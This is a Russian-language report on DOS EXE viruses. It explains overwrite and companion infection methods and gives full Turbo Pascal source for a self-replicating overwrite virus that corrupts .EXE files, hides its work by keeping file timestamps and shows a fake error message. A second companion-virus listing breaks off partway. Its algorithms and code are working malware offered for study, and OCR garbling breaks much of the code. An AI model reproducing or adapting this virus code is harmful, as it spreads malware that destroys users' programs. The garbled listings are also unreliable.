Доклад: Exe-вирусы
							  Вирусы, замещающие программный
код
(Overwrite) 
Как уже говорилось, этот вид вирусов уже давно
мертв. Изредка появ-
ляются еще такие вирусы, созданные на языке Assembler, но это, скорее,
соревнование в написании самого маленького overwrite-вируса. На дан-
ный момент самый маленький из известных overwrite-вирусов написан
Reminder'ом (Death Virii Crew group) и занимает 22 байта. 
Алгоритм работы overwrite-вируса следующий:
1. Открыть файл, из которого вирус получил управление.
2. Считать в буфер код вируса.
3. Закрыть файл.
4. Искать по маске подходящий для заражения файл.
5. Если файлов больше не найдено, перейти к пункту 11.
6. Открыть найденный файл.
7. Проверить, не заражен ли найденный файл этим вирусом.
8. Если файл заражен, перейти к пункту 10.
9. Записать в начало файла код вируса.
10. Закрыть файл (по желанию можно заразить от
одного до всех фай-
лов в каталоге или на диске). 
11. Выдать на экран какое-либо сообщение об
ошибке, например
"Abnormal program termination" или "Not enough memory", -
пусть
пользователь не слишком удивляется тому, что программа не запу-
стилась. 
12. Завершить программу.
Ниже приведен листинг программы, заражающей
файлы таким
способом. 
{$М 2048, 0, 0}
{$А-}
{$В-}
{$D-}
{$Е+}
($F-)
($G-}
($!-}
{$L-}
{$N-}
{$S-} /
{$V-}
{$X+}
{Используются модули DOS и System (модуль System автоматически
подключается к каждой программе при компиляции)}
Uses DOS; 
Const
(Имя вируса}
VirName='Pain'; 
{Строка для проверки на повторное заражение.
Она дописывается в заражаемый файл сразу после кода вируса}
VirLabel: String[5]='Pain!1;
{Длина получаемого при компиляции ЕХЕ-файла}
VirLen=4208; 
Author='Dirty Nazi/SGWW.';
{Количество заражаемых за один сеанс работы файлов}
lnfCount=2; 
Var
{Массив для определения наличия копии вируса в найденном
файле}
Virldentifier: Array [1.5] of Char; 
{Файловая переменная для работы с файлами}
VirBody: File; 
(Еще одна файловая переменная - хотя без нее можно
было
обойтись, так будет понятнее)
Target: File; 
{Для имени найденного файла)
TargetFile: PathStr; 
(Буфер для тела вируса)
VirBuf : Array [-I.VirLen] of Char; 
(Для даты/времени файла)
Time : Longint; 
(Счетчик количества инфицированных файлов)
InfFiles : Byte; 
Dirlnfo : SearchRec;
LabelBuf : Array [1.5] of Char;
(Инициализация)
procedure Init; 
begin
LabelBuf [1]:=VirLabel[1]; 
LabelBuf[2]:=VirLabel[2];
LabelBuf[3]:=VirLabel[3],
LabelBuf[4]:=VirLabel[4]; 
LabelBuf[5]:=VirLabel[5];
(Обнуляем счетчик количества инфицированных файлов}
lnfFiles:=0; 
(Связываем файловую переменную VirBody с именем программы.
из которой стартовали)
Assign(VirBody, ParamStr(O)); 
(Открываем файл с recsize=1 байту)
Reset(VirBody, 1); 
(Считываем из файла тело вируса в массив VirBuf}
BlockRead(VirBody VirBuf, VirLen); 
(Закрываем файл)
Close(VirBody); 
end;
(Поиск жертвы}
procedure FindTarget; 
Var
Sr: SearchRec; 
(Функция возвращает True, если найденная
программа уже заражена, и False, если еще нет}
function VirusPresent: Boolean; 
begin
(Пока будем считать, что вируса нет}
VirusPresent:=False; 
(Открываем найденный файл}
Assign(Target, TargetFile); 
Reset(Target, 1);
(Перемещаемся на длину тела вируса от начала файла}
Seek(Target, VirLen); 
(Считываем 5 байт - если файл уже заражен,
там находится метка вируса}
BlockRead(Target, Virldentifier, 5); 
If Virldentifier=Virl_abel Then
{Если метка есть, значит есть и вирус}
VirusPresent:=True; 
end;
(Процедура заражения}
procedure InfectFile; 
begin
{Если размер найденного файла меньше, чем длина вируса
плюс 100 байт, то выходим из процедуры}
If Sr.Size < VirLen+100 Then Exit; 
{Если найденная программа еще не заражена, инфицируем
ее}
If Not VirusPresent Then
begin 
{Запомним дату и время файла. Атрибуты запоминать не
надо,
так как поиск ведется среди файлов с атрибутом Archive, а этот
атрибут устанавливается на файл после сохранения в любом случае}
Time:=Sr.Time; 
{Открываем для заражения}
Assign(Target, TargetFile); 
Reset(Target, 1);
{Записывам тело вируса в начало файла}
BlockWrite(Target, VirBuf, VirLen); 
{Перемещаем указатель текущей позиции
на длину вируса от начала файла}
Seek(Target, VirLen); 
{Вписываем метку заражения}
BlockWrite(Target, LabelBuf, 5); 
{Устанавливаем дату и время файла}
SetFTime(Target, Time); 
{Закрываем}
Close(Target); 
{Увеличиваем счетчик инфицированных файлов}
Inc(lnfFiles); 
end;
end;
{Начало процедуры FindTarget}
begin 
{Ищем в текущем каталоге файлы по маске *.ЕХЕ
с атрибутами Archive}
FindFirstF.EXE', Archive, Sr); 
{Пока есть файлы для заражения}
While DosError=0 Do
begin
If Sr.Name=" Then Exit;
(Запоминаем имя найденного файла в переменную
TargetFile}
TargetFile:=Sr.Name; 
{Вызываем процедуру заражения}
InfectFile; 
{Если заразили InfCount файлов, завершаем поиск}
If InfFiles > InfCount Then Exit; 
{Ищем следующий файл по маске}
FindNext(Sr); 
end;
end;
{Основное тело}
begin 
(Инициализируемся}
hit; 
{Ищем жертвы и заражаем их}
FindTarget; 
{Выдаем на экран сообщение об ошибке}
WriteLn('Abnormal program termination.'); 
{Это чтобы компилятор вставил в код константы
VirName
и Author, условие же поставлено таким образом,
что эти строки никогда не будут выведены на экран}
If 2=3 Then
begin
WriteLn(VirName); 
WriteLn(Author);
end;
end.
Вирусы-спутники (Companion)
Вирусы-спутники сейчас широко распространены -
соотношение
companion и parasitic вирусов примерно один к двум. 
Инфицирование методом создания СОМ-файла спутника
Смысл этого метода - не трогая "чужого
кота" (ЕХЕ-программу), со-
здать "своего" - СОМ-файл с именем ЕХЕ-программы. Алгоритм рабо-
ты такого вируса предельно прост, так как отпадает необходимость
лишних действий (например, сохранения в теле вируса длины откомпи-
лированного ЕХЕ-файла с вирусным кодом, считывания в буфер тела
вируса, запуска файла, из которого вирус получил управление). Неза-
чем даже хранить метку для определения инфицирования файла. 
Заражение производится с помощью командного процессора:
1. Если в командной строке указаны параметры,
сохранить их в пере-
менную типа String для передачи инфицированной программе. 
2. Найти ЕХЕ-файл-жертву.
3. Проверить, не присутствует ли в каталоге с
найденным ЕХЕ-фай-
лом СОМ-файл с таким же именем, как у файла-жертвы. 
4. Если такой СОМ-файл присутствует, файл уже
заражен, переходим
к пункту 6. 
5. С помощью командного процессора скопировать
файл, из которого
получено управление, в файл с именем жертвы и расширением СОМ. 
6. Процедурой Ехес загрузить и выполнить файл с
именем стартового, но
с расширением ЕХЕ - то есть выполнить инфицированную программу. 
7. Вернуть управление в DOS.
Приведенный ниже листинг показывает заражение
файлов этим
методом. 
($М 2048, 0, 0}
f$A-}
<$В-"
($D-}
<$Е+1
{$F-}
{$G-} 
{$!-}
f$L-(
{$N-)
{$S-}
<$V-}
{$X+} 
(Используются модули DOS и System (модуль System автоматически
подключается к каждой программе при компиляции)}
Uses DOS; 
Const
{Имя вируса)
VirName='Guesf; 
Author='Dirty Nazi/SGWW. 4 PVT only!';
{Количество зараженных за один сеанс работы файлов}
lnfCount=2; 
Var
{Для имени найденного файла)
TargetFile : PathStr; 
{Для создания копии}
TargetCOM : PathStr; 
(Счетчик количества заражений}
InfFiles : Byte; 
Dirlnfo : SearchRec;
{Для сохранения параметров командной строки}
Parms : String; 
(Для цикла For}
I: Byte; 
(Поиск жертв}
procedure FindTarget; 
Var
Sr : SearchRec; 
{Функция возвращает True, если найденная программа
уже заражена,
и False, если еще нет}
function VirusPresent: Boolean; 
Var
Target : File;
begin
{Пока будем считать, что вируса здесь нет}
VirusPresent:=False; 
{Пытаемся открыть файл с именем найденной программы,
но с расширением СОМ}
AssignHarget, TargetCOM); 
ResetHarget, 1);
{Если не было ошибок при открытии,
программа уже инфицирована этим вирусом}
If IOResult=0 Then
begin
VirusPresent:=True; 
{Открыли - закроем}
Close(Target); 
end;
end;
{Собственно процедура заражения}
procedure InfectFile; 
begin
{Если найденная программа еще не заражена, инфицируем
ее}
If Not VirusPresent Then
begin 
{С помощью командного процессора
копируем вирусный код в СОМ-файл}
Swap Vectors; 


